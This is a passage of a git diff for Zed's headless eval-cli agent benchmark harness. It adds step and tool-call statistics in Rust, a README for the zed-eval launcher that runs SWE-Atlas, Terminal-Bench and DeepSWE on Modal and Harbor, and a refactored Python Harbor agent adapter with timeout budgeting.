+                }
+            }
+        }
+        _ => None,
     };
 
+    if let Some(output_worktree) = output_worktree {
+        let scan_result = output_worktree.update(cx, |tree, _cx| {
+            tree.as_local()
+                .context("expected local output worktree")
+                .map(|local| local.scan_complete())
+        });
+        match scan_result {
+            Ok(future) => future.await,
+            Err(e) => return (Err(e), RunStats::default()),
+        };
+    }
+
     let agent = cx.update(|cx| {
         let thread_store = cx.new(|cx| ThreadStore::new(cx));
         NativeAgent::new(thread_store, Templates::new(), app_state.fs.clone(), cx)
@@ -573,7 +819,7 @@ async fn run_agent(
         .await
     {
         Ok(t) => t,
-        Err(e) => return (Err(e).context("creating ACP session"), None),
+        Err(e) => return (Err(e).context("creating ACP session"), RunStats::default()),
     };
 
     let _subscription = cx.subscribe(&acp_thread, |acp_thread, event, cx| {
@@ -638,9 +884,30 @@ async fn run_agent(
         connection.thread(&session_id, cx)
     });
 
+    let mut step_count = None;
+    let mut tool_call_count = None;
+    let mut tool_calls = None;
     let cumulative_usage = if let Some(thread) = &thread {
         let db_thread = thread.read_with(cx, |thread, cx| thread.to_db(cx));
         let db_thread = db_thread.await;
+        let mut counts = std::collections::BTreeMap::<String, u64>::new();
+        let mut agent_turn_count = 0;
+        for message in &db_thread.messages {
+            let Some(agent_message) = message.as_agent_message() else {
+                continue;
+            };
+            agent_turn_count += 1;
+            for request_message in agent_message.to_request() {
+                for content in request_message.content {
+                    if let language_model::MessageContent::ToolUse(tool_use) = content {
+                        *counts.entry(tool_use.name.to_string()).or_default() += 1;
+                    }
+                }
+            }
+        }
+        step_count = Some(agent_turn_count);
+        tool_call_count = Some(counts.values().sum());
+        tool_calls = Some(counts);
         let usage = db_thread.cumulative_token_usage;
         if usage.input_tokens > 0 || usage.output_tokens > 0 {
             Some(usage)
@@ -682,7 +949,15 @@ async fn run_agent(
         }
     }
 
-    (outcome, final_usage)
+    (
+        outcome,
+        RunStats {
+            token_usage: final_usage,
+            step_count,
+            tool_call_count,
+            tool_calls,
+        },
+    )
 }
 
 fn log_acp_thread_event(
diff --git a/crates/eval_cli/zed_eval/README.md b/crates/eval_cli/zed_eval/README.md
new file mode 100644
index 00000000000000..01dfca777c24d7
--- /dev/null
+++ b/crates/eval_cli/zed_eval/README.md
@@ -0,0 +1,348 @@
+# zed-eval
+
+Python CLI and installed-agent package for building Zed's headless `eval-cli`
+binary, launching benchmark runs on Modal/Harbor/Pier, and fetching results.
+
+This README is for `crates/eval_cli/zed_eval/`. The Rust `eval-cli` binary is
+documented in [`../README.md`](../README.md). Commands below assume they are run
+from the repository root unless otherwise noted.
+
+Most benchmark users should start with `zed-eval`.
+
+## Quick start
+
+Install the Python CLI as an editable tool:
+
+```sh
+crates/eval_cli/script/install-zed-eval
+```
+
+This wraps `uv tool install --editable crates/eval_cli/zed_eval --force`, so the
+installed `zed-eval` command tracks checkout changes without needing
+`PYTHONPATH`. If you prefer not to install globally, run from the checkout with:
+
+```sh
+crates/eval_cli/script/zed-eval doctor
+```
+
+Check your setup and create the Modal volume if needed:
+
+```sh
+zed-eval doctor --create-volume
+```
+
+Deploy the Modal app once before launching runs, and again after changing the
+Python orchestration code:
+
+```sh
+zed-eval deploy
+```
+
+Deploying replaces the live app and can cancel in-flight runs, so avoid running
+it while evals are active.
+
+Launch a small benchmark run from your current checkout:
+
+```sh
+zed-eval run rf --from local --n-tasks 2
+```
+
+Monitor and report:
+
+```sh
+zed-eval runs                 # recent runs launched from this machine
+zed-eval status               # status for the most recent run
+zed-eval logs <run-id>        # controller log
+zed-eval report <run-id> --fetch
+```
+
+After a launch, the local run index remembers the run's namespace and benchmark,
+so most commands only need the run id. If the run was launched elsewhere, pass
+`--experiment-name` and, if needed, `--namespace`.
+
+## Development
+
+Run the package tests without manually setting `PYTHONPATH`:
+
+```sh
+uv run --project crates/eval_cli/zed_eval python -m unittest discover -s crates/eval_cli/zed_eval/tests
+```
+
+## Prerequisites
+
+You need:
+
+- access to the Modal workspace used for evals
+- a Modal token secret for the controller, default: `agent-evals-modal-token`
+- an LLM-provider secret for agent/judge API keys, default:
+  `agent-evals-llm-providers`
+
+The controller secret should contain:
+
+- `MODAL_TOKEN_ID`
+- `MODAL_TOKEN_SECRET`
+
+The LLM-provider secret should contain the keys your selected models need, such as:
+
+- `ANTHROPIC_API_KEY`
+- `OPENAI_API_KEY`
+- `BASETEN_API_KEY`
+
+Defaults can be overridden globally:
+
+```sh
+zed-eval \
+  --volume agent-evals \
+  --api-secret agent-evals-llm-providers \
+  --modal-token-secret agent-evals-modal-token \
+  doctor
+```
+
+## Launch benchmarks
+
+Use `zed-eval run` for non-interactive launches:
+
+```sh
+# One SWE-Atlas part
+zed-eval run rf --from local --n-tasks 5
+
+# Multiple benchmarks share one build when possible
+zed-eval run swe-atlas terminal-bench-2.1 --from v0.210.0 --n-tasks 5 --yes
+
+# DeepSWE runs under Pier automatically
+zed-eval run deepswe --from local --n-tasks 10
+
+# Inspect what would happen without launching
+zed-eval run swe-atlas --from v0.210.0 --plan
+zed-eval run deepswe --from local --dry-run
+```
+
+Supported benchmark selectors:
+
+| Selector | Meaning | Scoring |
+| --- | --- | --- |
+| `swe-atlas` | `qna`, `rf`, and `tw` | LLM judge |
+| `qna` / `swe-atlas-qna` | SWE-Atlas Codebase Q&A | LLM judge |
+| `rf` / `swe-atlas-rf` | SWE-Atlas Refactoring | LLM judge |
+| `tw` / `swe-atlas-tw` | SWE-Atlas Test Writing | LLM judge |
+| `terminal-bench-2.1` / `tb21` | Terminal-Bench 2.1 | tests |
+| `deepswe` | DeepSWE | tests |
+
+For an interactive prompt, use:
+
+```sh
+zed-eval swe-atlas --interactive
+```
+
+Despite the command name, the interactive flow can launch SWE-Atlas parts,
+Terminal-Bench, and DeepSWE.
+
+## Choose source and builds
+
+`--from` controls what source is built into `eval-cli`:
+
+- `--from local` builds current `HEAD` plus tracked changes.
+- `--from <ref/tag/sha>` builds a clean git ref, tag, or SHA.
+
+Builds are content-addressed and reused when possible. You can also name or reuse
+a build explicitly:
+
+```sh
+zed-eval build --from local
+zed-eval run rf --build bld-abc123 --n-tasks 2
+zed-eval builds --details
+```
+
+Untracked files are not included in builds. If they are irrelevant, opt in:
+
+```sh
+zed-eval run rf --from local --allow-untracked --n-tasks 2
+```
+
+For reproducible runs, use a clean ref/tag/SHA or require a clean tracked tree:
+
+```sh
+zed-eval run rf --from v0.210.0 --n-tasks 2
+zed-eval run rf --from local --require-clean --n-tasks 2
+```
+
+## Choose models and judges
+
+Default agent model:
+
+- `sonnet-4.6` → `anthropic/claude-sonnet-4-6`
+
+Common agent model examples:
+
+```sh
+zed-eval run rf --model sonnet-4.6 --n-tasks 2
+zed-eval run rf --model opus-4.5 --n-tasks 2
+zed-eval run rf --model baseten:kimi-k2.7-code --n-tasks 2
+zed-eval run rf --model baseten:deepseek-v4-pro --n-tasks 2
+```
+
+For SWE-Atlas judge defaults, `--judge auto` uses:
+
+- `qna`: `deepseek-v4-pro`
+- `rf` and `tw`: `kimi-k2.7-code`
+
+Override the judge when needed:
+
+```sh
+zed-eval run rf --judge leaderboard --n-tasks 2
+zed-eval run rf --judge deepseek-v4-pro --judge-model deepseek-ai/DeepSeek-V4-Pro
+```
+
+Baseten presets generate the OpenAI-compatible provider settings automatically.
+The sandbox secret must include `BASETEN_API_KEY`.
+
+## Monitor, fetch, and report
+
+Useful commands:
+
+```sh
+zed-eval runs                         # local, fast recent-run list
+zed-eval list --details               # query runs on the Modal volume
+zed-eval list -e swe-atlas-rf --details
+zed-eval status <run-id>
+zed-eval logs <run-id>
+zed-eval fetch <run-id>
+zed-eval report <run-id> --fetch
+```
+
+`fetch` downloads the run archive and extracts it to:
+
+```text
+~/.cache/harbor/jobs/<run-id>/
+```
+
+`report` prints pass rate plus resource usage such as tokens, tool calls, and
+agent steps. Use `--json` for machine-readable output.
+
+## Multi-benchmark suites
+
+Launching more than one benchmark in one command groups the runs under a
+`suite_id` stored on each run.
+
+```sh
+zed-eval run qna rf terminal-bench-2.1 --from local --n-tasks 2 --yes
+```
+
+Suite commands operate on all runs in that group:
+
+```sh
+zed-eval suite status <suite-id>
+zed-eval suite logs <suite-id>
+zed-eval suite fetch <suite-id>
+```
+
+## Rejudge a finished run
+
+`rejudge` creates a new derived run by re-running only the judge. It does not redo
+the agent's work or modify the parent run.
+
+```sh
+zed-eval rejudge <parent-run-id> --judge deepseek-v4-pro
+zed-eval rejudge <parent-run-id> --judge kimi-k2.7-code --dry-run
+zed-eval report <derived-run-id> --fetch
+```
+
+If the parent run is not in your local run index, pass `--experiment-name` and
+possibly `--namespace`.
+
+## Baselines
+
+Baseline commands record and inspect baseline-of-record results for completed
+clean-commit runs:
+
+```sh
+zed-eval baseline record <run-id> --experiment-name swe-atlas-rf
+zed-eval baseline list
+zed-eval baseline show swe-atlas-rf --model anthropic/claude-sonnet-4-6
+```
+
+## Storage model
+
+Runs and builds live on the shared Modal volume:
+
+```text
+builds/<build-id>/
+  eval-cli
+  build-info.json
+  source-info.json
+  source.patch
+
+runs/<namespace>/<experiment-name>/<run-id>/
+  request.json
+  state.json
+  controller.log
+  harbor-command.txt
+  run-metadata.json
+  harbor-job.tar.gz
+  summary.json
+```
+
+Namespaces prevent accidental collisions but are not access control. Anyone with
+access to the Modal workspace/volume can read run manifests, logs, patches, and
+archives.
+
+## Standalone eval-cli
+
+For local or custom harness usage, you can build and invoke the Rust binary
+directly.
+
+Build for the current platform:
+
+```sh
+cargo build --release -p eval_cli
+```
+
+Build the Linux binary used by Harbor/Pier sandboxes:
+
+```sh
+crates/eval_cli/script/build-linux
+```
+
+Run directly:
+
+```sh
+eval-cli \
+  --workdir /testbed \
+  --model anthropic/claude-sonnet-4-6 \
+  --instruction "Fix the bug described in..." \
+  --timeout 600 \
+  --output-dir /logs/agent
+```
+
+`eval-cli` reads provider API keys from environment variables and writes
+`result.json`, `thread.md`, and `thread.json` to the output directory.
+
+Exit codes:
+
+| Code | Meaning |
+| --- | --- |
+| 0 | Agent finished |
+| 1 | Error, such as model/auth/runtime failure |
+| 2 | Timeout |
+| 3 | Interrupted by SIGTERM or SIGINT |
+
+## Harbor/Pier installed agent
+
+The Python package also exposes installed-agent classes used by the remote
+orchestrator:
+
+- `zed_eval.agent:ZedAgent` for Harbor
+- `zed_eval.pier_agent:ZedPierAgent` for Pier
+
+For manual Harbor experiments with a locally built Linux binary:
+
+```sh
+pip install -e crates/eval_cli/zed_eval/
+crates/eval_cli/script/build-linux
+
+harbor run -d "swebench_verified@latest" \
+  --agent-import-path zed_eval.agent:ZedAgent \
+  --ae binary_path=target/eval-cli \
+  --ae EVAL_CLI_TIMEOUT=600 \
+  -m anthropic/claude-sonnet-4-6
+```
diff --git a/crates/eval_cli/zed_eval/__init__.py b/crates/eval_cli/zed_eval/__init__.py
index 8cf07a06883a70..8b137891791fe9 100644
--- a/crates/eval_cli/zed_eval/__init__.py
+++ b/crates/eval_cli/zed_eval/__init__.py
@@ -1,3 +1 @@
-from zed_eval.agent import ZedAgent
 
-__all__ = ["ZedAgent"]
diff --git a/crates/eval_cli/zed_eval/agent.py b/crates/eval_cli/zed_eval/agent.py
index 4720a7dbc1369d..50135583f78df2 100644
--- a/crates/eval_cli/zed_eval/agent.py
+++ b/crates/eval_cli/zed_eval/agent.py
@@ -1,40 +1,33 @@
-"""Harbor agent wrapper for Zed's eval-cli binary.
-
-Usage:
-    # Build eval-cli locally first:
-    cargo build --release -p eval_cli
-
-    # Run via Harbor with a local binary:
-    harbor run -d "dataset@version" \
-        --agent-import-path zed_eval.agent:ZedAgent \
-        --ae binary_path=/path/to/target/release/eval-cli \
-        --agent-model anthropic/claude-sonnet-4-6-latest
-
-    # Or with a download URL (for CI):
-    harbor run -d "dataset@version" \
-        --agent-import-path zed_eval.agent:ZedAgent \
-        --ae download_url=https://example.com/eval-cli \
-        --agent-model anthropic/claude-sonnet-4-6-latest
-"""
+"""Harbor installed-agent adapter for Zed's eval-cli binary."""
 
 import json
 import os
 import shlex
+import tomllib
 from pathlib import Path
 
 from harbor.agents.installed.base import BaseInstalledAgent, with_prompt_template
 from harbor.environments.base import BaseEnvironment
 from harbor.models.agent.context import AgentContext
 
+from .agent_common import (
+    add_anthropic_available_models_env,
+    add_openai_compatible_provider_env,
+    add_zed_eval_env,
+    detect_workdir,
+    eval_cli_with_log_command,
+    patch_command,
+    populate_context_from_result,
+    provider_api_env,
+)
 
-class ZedAgent(BaseInstalledAgent):
-    """Runs Zed's headless AI agent (eval-cli) to solve tasks.
+# Leave eval-cli time to exit cleanly and flush logs before Harbor's outer
+# asyncio.wait_for can kill the agent coroutine.
+EVAL_CLI_FINALIZE_BUFFER_SEC = 45
+EVAL_CLI_MIN_TIMEOUT_SEC = 60
 
-    The eval-cli binary boots a headless GPUI application and uses the same
-    NativeAgent + AcpThread pipeline as the production Zed editor, driving
-    the full agentic loop (tool calls, subagents, retries) without a GUI.
-    """
 
+class ZedAgent(BaseInstalledAgent):
     def __init__(
         self,
         logs_dir: Path,
@@ -52,52 +45,12 @@ def name() -> str:
         return "zed"
 
     async def _detect_workdir(self, environment: BaseEnvironment) -> str:
-        """Detect the working directory inside the container.
-
-        Checks, in order:
-          1. Explicit ``EVAL_CLI_WORKDIR`` extra-env override
-          2. Well-known dirs with a ``.git`` subdirectory (SWE-bench style)
-          3. First git repo found under ``/`` (max depth 3)
-          4. Well-known dirs that exist at all (terminal-bench style)
-          5. The container's default working directory (``pwd``)
-        """
-        override = self._extra_env.get("EVAL_CLI_WORKDIR")
-        if override:
-            return override
-
-        # First: try to find a git repo (SWE-bench, etc.)
-        result = await self.exec_as_agent(
-            environment,
-            command=(
-                "for d in /app /testbed /repo; do "
-                '  if [ -d "$d/.git" ]; then echo "$d"; exit 0; fi; '
-                "done; "
-                "find / -maxdepth 3 -name .git -type d 2>/dev/null "
-                '| head -1 | sed "s|/.git$||"'
-            ),
-        )
-        workdir = (result.stdout or "").strip()
-        if workdir:
-            return workdir
-
-        # Fallback: use the first well-known directory that exists,
-        # even without .git (terminal-bench containers aren't git repos).
-        result = await self.exec_as_agent(
+        return await detect_workdir(
             environment,
-            command=(
-                "for d in /app /testbed /repo /root /home; do "
-                '  if [ -d "$d" ]; then echo "$d"; exit 0; fi; '
-                "done; "
-                "pwd"
-            ),
-        )
-        workdir = (result.stdout or "").strip()
-        if workdir:
-            return workdir
-
-        raise RuntimeError(
+            self.exec_as_agent,
+            self._extra_env.get,
             "Could not detect a working directory in the container. "
-            "Set EVAL_CLI_WORKDIR explicitly via --ae EVAL_CLI_WORKDIR=/path/to/repo"
+            "Set EVAL_CLI_WORKDIR explicitly via --ae EVAL_CLI_WORKDIR=/path/to/repo",
         )
 
     async def install(self, environment: BaseEnvironment) -> None:
@@ -123,16 +76,25 @@ async def install(self, environment: BaseEnvironment) -> None:
             env={"DEBIAN_FRONTEND": "noninteractive"},
         )
 
-        # ── Non-essential tooling ─────────────────────────────────────
-        # Everything below here (Node.js, LSPs, uv/ruff) is nice-to-have.
-        # If any step fails (e.g. musl incompatibility, network issues),
-        # log a warning and continue — the agent can still work without
-        # pre-installed language servers.
-
+        # Tooling setup is best-effort; benchmark images vary enough that one
+        # unsupported runtime should not fail the trial before eval-cli starts.
         await self._install_node(environment)
         await self._install_lsps(environment)
         await self._install_uv_and_ruff(environment)
 
+        # Modal can mount a prebuilt binary inside each sandbox, avoiding uploads.
+        container_path = self._extra_env.get("EVAL_CLI_CONTAINER_PATH")
+        if container_path:
+            await self.exec_as_root(
+                environment,
+                command=(
+                    f"cp {shlex.quote(container_path)} /usr/local/bin/eval-cli && "
+                    "chmod +x /usr/local/bin/eval-cli && "
+                    "eval-cli --help"
+                ),
+            )
+            return
+
         if self._binary_path:
             binary = Path(self._binary_path)
             if not binary.exists():
@@ -164,8 +126,9 @@ async def install(self, environment: BaseEnvironment) -> None:
 
         raise ValueError(
             "No eval-cli binary provided. "
-            "Either pass binary_path=/path/to/target/release/eval-cli "
-            "or set download_url=/EVAL_CLI_DOWNLOAD_URL."
+            "Either pass binary_path=/path/to/target/release/eval-cli, "
+            "set download_url=/EVAL_CLI_DOWNLOAD_URL, "
+            "or set --ae EVAL_CLI_CONTAINER_PATH=/path/inside/container."
         )
 
     async def _install_node(self, environment: BaseEnvironment) -> None:
@@ -346,53 +309,100 @@ async def _install_uv_and_ruff(self, environment: BaseEnvironment) -> None:
             self.logger.warning("uv/ruff installation failed (non-fatal): %s", exc)
 
     def populate_context_post_run(self, context: AgentContext) -> None:
-        result_data = None
-        for json_file in self.logs_dir.rglob("result.json"):
-            try:
-                result_data = json.loads(json_file.read_text())
-                break
-            except (json.JSONDecodeError, OSError):
-                continue
-
-        if result_data is None:
-            self.logger.warning("Could not find or parse result.json from eval-cli")
-            return
+        populate_context_from_result(self.logs_dir, context, self.logger)
 
-        if result_data.get("input_tokens") is not None:
-            context.n_input_tokens = result_data["input_tokens"]
-        if result_data.get("output_tokens") is not None:
-            context.n_output_tokens = result_data["output_tokens"]
-        if result_data.get("cache_read_input_tokens") is not None:
-            context.n_cache_tokens = result_data["cache_read_input_tokens"]
+    def _get_api_env(self) -> dict[str, str]:
+        env = provider_api_env(self.model_name)
+        add_openai_compatible_provider_env(
+            env, self._extra_env.get("ZED_OPENAI_COMPATIBLE_PROVIDERS")
+        )
+        add_anthropic_available_models_env(
+            env, self._extra_env.get("ZED_ANTHROPIC_AVAILABLE_MODELS")
+        )
+        return env
 
-        context.metadata = {
-            "status": result_data.get("status"),
-            "duration_secs": result_data.get("duration_secs"),
-            "model": result_data.get("model"),
-        }
+    def _harbor_agent_budget_sec(self) -> float | None:
+        """Recover Harbor's hidden outer timeout so eval-cli can exit first.
 
-    def _get_api_env(self) -> dict[str, str]:
-        env: dict[str, str] = {}
-        if not self.model_name or "/" not in self.model_name:
-            return env
-
-        provider = self.model_name.split("/", 1)[0]
-        provider_env_map = {
-            "anthropic": "ANTHROPIC_API_KEY",
-            "openai": "OPENAI_API_KEY",
-            "google": "GEMINI_API_KEY",
-            "gemini": "GEMINI_API_KEY",
-            "deepseek": "DEEPSEEK_API_KEY",
-            "mistral": "MISTRAL_API_KEY",
-        }
-
-        env_var = provider_env_map.get(provider)
-        if env_var:
-            api_key = os.environ.get(env_var, "")
-            if api_key:
-                env[env_var] = api_key
+        Harbor 0.15.0 computes this on ``Trial`` but does not pass it to custom
+        installed agents. Replaying the calculation host-side lets us preserve
+        trajectories instead of losing them to Harbor's coroutine kill.
+        """
+        config_path = Path(self.logs_dir).parent / "config.json"
+        try:
+            trial_config = json.loads(config_path.read_text())
+        except (OSError, ValueError) as exc:
+            print(
+                f"[zed-eval] agent budget: could not read {config_path}: {exc!r}",
+                flush=True,
+            )
+            return None
 
-        return env
+        agent_cfg = trial_config.get("agent") or {}
+        base_sec = agent_cfg.get("override_timeout_sec")
+        if base_sec is None:
+            base_sec = self._task_declared_agent_timeout_sec(
+                trial_config.get("task") or {}
+            )
+        if base_sec is None:
+            return None
+
+        max_sec = agent_cfg.get("max_timeout_sec")
+        if max_sec is not None:
+            base_sec = min(base_sec, max_sec)
+        multiplier = trial_config.get("agent_timeout_multiplier")
+        if multiplier is None:
+            multiplier = trial_config.get("timeout_multiplier", 1.0)
+        return float(base_sec) * float(multiplier)
+
+    def _task_declared_agent_timeout_sec(self, task_cfg: dict) -> float | None:
+        task_dir = self._resolve_task_dir(task_cfg)
+        if task_dir is None:
+            return None
+        task_toml = task_dir / "task.toml"
+        try:
+            data = tomllib.loads(task_toml.read_text())
+        except (OSError, ValueError) as exc:
+            print(
+                f"[zed-eval] agent budget: could not parse {task_toml}: {exc!r}",
+                flush=True,
+            )
+            return None
+        timeout_sec = (data.get("agent") or {}).get("timeout_sec")
+        return float(timeout_sec) if timeout_sec is not None else None
+
+    def _resolve_task_dir(self, task_cfg: dict) -> Path | None:
+        path = task_cfg.get("path")
+        if path:
+            return Path(path).expanduser().resolve()
+
+        # config.json omits Harbor's package content hash; use the newest cached
+        # digest that contains a task.toml.
+        name = task_cfg.get("name")
+        if name and "/" in name:
+            try:
+                from harbor.constants import PACKAGE_CACHE_DIR
+            except ImportError as exc:
+                print(
+                    f"[zed-eval] agent budget: harbor PACKAGE_CACHE_DIR "
+                    f"unavailable: {exc!r}",
+                    flush=True,
+                )
+                return None
+            download_dir = task_cfg.get("download_dir")
+            base_dir = Path(download_dir) if download_dir else PACKAGE_CACHE_DIR
+            org, package = name.split("/", 1)
+            package_root = base_dir / org / package
+            candidates = [
+                digest_dir
+                for digest_dir in package_root.glob("*")
+                if (digest_dir / "task.toml").is_file()
+            ]
+            if not candidates:
+                return None
+            return max(candidates, key=lambda p: p.stat().st_mtime)
+
+        return None
 
     @with_prompt_template
     async def run(
@@ -401,6 +411,10 @@ async def run(
         escaped_instruction = shlex.quote(instruction)
         env = self._get_api_env()
 
+        add_zed_eval_env(
+            env, self._extra_env, exclude={"ZED_EVAL_INSTRUCTION_SUFFIX_FILE"}
+        )
+
         workdir = await self._detect_workdir(environment)
 
         parts = [
@@ -412,9 +426,58 @@ async def run(
         if self.model_name:
             parts.append(f"--model {shlex.quote(self.model_name)}")
 
-        timeout = self._extra_env.get("EVAL_CLI_TIMEOUT")
-        if timeout:
-            parts.append(f"--timeout {shlex.quote(timeout)}")
+        instruction_suffix_file = self._extra_env.get(
+            "ZED_EVAL_INSTRUCTION_SUFFIX_FILE"
+        )
+        if instruction_suffix_file:
+            parts.append(
+                f"--instruction-suffix-file {shlex.quote(instruction_suffix_file)}"
+            )
+
+        # Prefer eval-cli's own timeout over Harbor's coroutine kill so logs and
+        # partial answers are still available for delivery.
+        configured_timeout_raw = self._extra_env.get("EVAL_CLI_TIMEOUT")
+        configured_timeout: int | None
+        if configured_timeout_raw:
+            try:
+                configured_timeout = int(configured_timeout_raw)
+            except ValueError:
+                print(
+                    "[zed-eval] ignoring non-integer EVAL_CLI_TIMEOUT="
+                    f"{configured_timeout_raw!r}",
+                    flush=True,
+                )
+                configured_timeout = None
+        else:
+            configured_timeout = None
+
+        budget_sec = self._harbor_agent_budget_sec()
+        timeout_arg: int | None = None
+        if budget_sec is not None:
+            ceiling = (
+                configured_timeout
+                if configured_timeout is not None
+                else int(budget_sec)
+            )
+            timeout_arg = min(ceiling, int(budget_sec - EVAL_CLI_FINALIZE_BUFFER_SEC))
+            timeout_arg = max(timeout_arg, EVAL_CLI_MIN_TIMEOUT_SEC)
+            print(
+                f"[zed-eval] eval-cli --timeout {timeout_arg}s (harbor agent "
+                f"budget {int(budget_sec)}s - {EVAL_CLI_FINALIZE_BUFFER_SEC}s "
+                f"finalize buffer; EVAL_CLI_TIMEOUT="
+                f"{configured_timeout if configured_timeout is not None else 'unset'})",
+                flush=True,
+            )
+        elif configured_timeout is not None:
+            timeout_arg = configured_timeout
+            print(
+                f"[zed-eval] eval-cli --timeout {timeout_arg}s (harbor agent "
+                "budget unavailable; using EVAL_CLI_TIMEOUT)",
+                flush=True,
+            )
+
+        if timeout_arg is not None:
+            parts.append(f"--timeout {timeout_arg}")
 
         staff = self._extra_env.get("EVAL_CLI_STAFF")
         if staff and staff.lower() == "false":
@@ -427,39 +490,41 @@ async def run(
         enable_thinking = self._extra_env.get("EVAL_CLI_ENABLE_THINKING")
         if enable_thinking:
             if enable_thinking.lower() == "true":
-                parts.append("--enable-thinking")
+                parts.append("--thinking true")
             elif enable_thinking.lower() == "false":
-                parts.append("--disable-thinking")
+                parts.append("--thinking false")
 
         parts.append(f"--instruction {escaped_instruction}")
 
+        # Exit 2 is eval-cli's timeout, not a crash; keep the trajectory judgeable.
         await self.exec_as_agent(
             environment,
-            command=(
-                " ".join(parts) + " 2>&1 | if command -v stdbuf >/dev/null 2>&1;"
-                " then stdbuf -oL tee /logs/agent/eval-cli.txt;"
-                " else tee /logs/agent/eval-cli.txt; fi"
+            command=eval_cli_with_log_command(
+                parts,
+                "/logs/agent/eval-cli.txt",
+                timeout_message=(
+                    "[zed-eval] eval-cli timed out (exit 2); continuing to "
+                    "delivery/verification"
+                ),
+                line_buffered=True,
             ),
             env=env,
         )
 
-        # Only generate a patch if the workdir is a git repo with a valid HEAD
-        # (SWE-bench style). Terminal-bench containers aren't git repos, and
-        # some harnesses mount an initialized repo before creating the first commit.
+        # Modal-style remote runs can differ in agent-log collection behavior.
         await self.exec_as_agent(
             environment,
             command=(
-                "if git rev-parse --git-dir >/dev/null 2>&1; then "
-                "git add -A && "
-                "if git rev-parse --verify HEAD >/dev/null 2>&1; then "
-                "git diff --cached HEAD -- > /logs/agent/patch.diff && "
-                'echo "Patch size: $(wc -c < /logs/agent/patch.diff) bytes"; '
-                "else "
-                'echo "Git repo has no valid HEAD, skipping patch generation"; '
-                "fi; "
-                "else "
-                'echo "No git repo found, skipping patch generation"; '
-                "fi"
+                "mkdir -p /logs/artifacts && "
+                "for f in result.json thread.json thread.md eval-cli.txt; do "
+                '  cp "/logs/agent/$f" /logs/artifacts/ 2>/dev/null || true; '
+                "done; true"
             ),
+        )
+
+        # Some harnesses mount an initialized repo before creating the first commit.
+        await self.exec_as_agent(
+            environment,
+            command=patch_command("/logs/agent"),
             cwd=workdir,
         )
diff --git a/crates/eval_cli/zed_eval/agent_common.py b/crates/eval_cli/zed_eval/agent_common.py
new file mode 100644
index 00000000000000..48079f39ca2ab1
--- /dev/null
+++ b/crates/eval_cli/zed_eval/agent_common.py
@@ -0,0 +1,184 @@
+from __future__ import annotations
+
+import json
+import os
+import shlex
+from collections.abc import Callable
+from pathlib import Path
+from typing import Any
+
+PROVIDER_ENV_MAP = {
+    "anthropic": "ANTHROPIC_API_KEY",
+    "openai": "OPENAI_API_KEY",
+    "google": "GEMINI_API_KEY",
+    "gemini": "GEMINI_API_KEY",
+    "deepseek": "DEEPSEEK_API_KEY",
+    "mistral": "MISTRAL_API_KEY",
+}
+
+
+def provider_api_env(
+    model_name: str | None,
+    get_env: Callable[[str], str | None] = os.environ.get,
+) -> dict[str, str]:
+    env: dict[str, str] = {}
+    if not model_name or "/" not in model_name:
+        return env
+
+    provider = model_name.split("/", 1)[0]
+    env_var = PROVIDER_ENV_MAP.get(provider) or (
+        f"{provider}_API_KEY".upper().replace("-", "_")
+    )
+    api_key = get_env(env_var)
+    if api_key:
+        env[env_var] = api_key
+    return env
+
+
+def add_openai_compatible_provider_env(
+    env: dict[str, str], providers_json: str | None
+) -> None:
+    if providers_json:
+        env["ZED_OPENAI_COMPATIBLE_PROVIDERS"] = providers_json
+
+
+def add_anthropic_available_models_env(
+    env: dict[str, str], models_json: str | None
+) -> None:
+    if models_json:
+        env["ZED_ANTHROPIC_AVAILABLE_MODELS"] = models_json
+
+
+def add_zed_eval_env(
+    env: dict[str, str], extra_env: dict[str, str], *, exclude: set[str] | None = None
+) -> None:
+    exclude = exclude or set()
+    for key, value in extra_env.items():
+        if key.startswith("ZED_EVAL_") and key not in exclude:
+            env[key] = value
+
+
+async def detect_workdir(
+    environment: Any,
+    exec_as_agent: Callable[..., Any],
+    get_env: Callable[[str], str | None],
+    error_message: str,
+) -> str:
+    override = get_env("EVAL_CLI_WORKDIR")
+    if override:
+        return override
+
+    result = await exec_as_agent(
+        environment,
+        command=(
+            "for d in /app /testbed /repo; do "
+            '  if [ -d "$d/.git" ]; then echo "$d"; exit 0; fi; '
+            "done; "
+            "find / -maxdepth 3 -name .git -type d 2>/dev/null "
+            '| head -1 | sed "s|/.git$||"'
+        ),
+    )
+    workdir = (result.stdout or "").strip()
+    if workdir:
+        return workdir
+
+    result = await exec_as_agent(
+        environment,
+        command=(
+            "for d in /app /testbed /repo /root /home; do "
+            '  if [ -d "$d" ]; then echo "$d"; exit 0; fi; '
+            "done; pwd"
+        ),
+    )
+    workdir = (result.stdout or "").strip()
+    if workdir:
+        return workdir
+    raise RuntimeError(error_message)
+
+
+def populate_context_from_result(logs_dir: Path, context: Any, logger: Any) -> None:
+    result_data = None
+    for json_file in logs_dir.rglob("result.json"):
+        try:
+            result_data = json.loads(json_file.read_text())
+            break
+        except (json.JSONDecodeError, OSError):
+            continue
+
+    if result_data is None:
+        logger.warning("Could not find or parse result.json from eval-cli")
+        return
+
+    if result_data.get("input_tokens") is not None:
+        context.n_input_tokens = result_data["input_tokens"]
+    if result_data.get("output_tokens") is not None:
+        context.n_output_tokens = result_data["output_tokens"]
+    if result_data.get("cache_read_input_tokens") is not None:
+        context.n_cache_tokens = result_data["cache_read_input_tokens"]
+    if isinstance(result_data.get("step_count"), int):
+        context.n_agent_steps = result_data["step_count"]
+
+    context.metadata = {
+        "status": result_data.get("status"),
+        "duration_secs": result_data.get("duration_secs"),
+        "model": result_data.get("model"),
+        "tool_call_count": result_data.get("tool_call_count"),
+    }
+
+
+def eval_cli_with_log_command(
+    parts: list[str],
+    log_path: str,
+    *,
+    timeout_message: str | None = None,
+    line_buffered: bool = False,
+) -> str:
+    """Run eval-cli, tee output, and preserve eval-cli's exit status.
+
+    POSIX shells return the last command's status for a pipeline, so `cmd | tee`
+    would otherwise hide eval-cli failures whenever `tee` succeeds.
+    """
+    status_file = "/tmp/zed-eval-eval-cli-status"
+    quoted_status_file = shlex.quote(status_file)
+    quoted_log_path = shlex.quote(log_path)
+    timeout_handler = 'if [ "$ec" -eq 2 ]; then ec=0; fi; '
+    if timeout_message:
+        timeout_handler = (
+            f'if [ "$ec" -eq 2 ]; then echo {shlex.quote(timeout_message)}; ec=0; fi; '
+        )
+    tee_command = f"tee {quoted_log_path}"
+    if line_buffered:
+        tee_command = (
+            "if command -v stdbuf >/dev/null 2>&1; "
+            f"then stdbuf -oL tee {quoted_log_path}; "
+            f"else tee {quoted_log_path}; fi"
+        )
+    return (
+        f'status_file={quoted_status_file}; rm -f "$status_file"; '
+        "( "
+        + " ".join(parts)
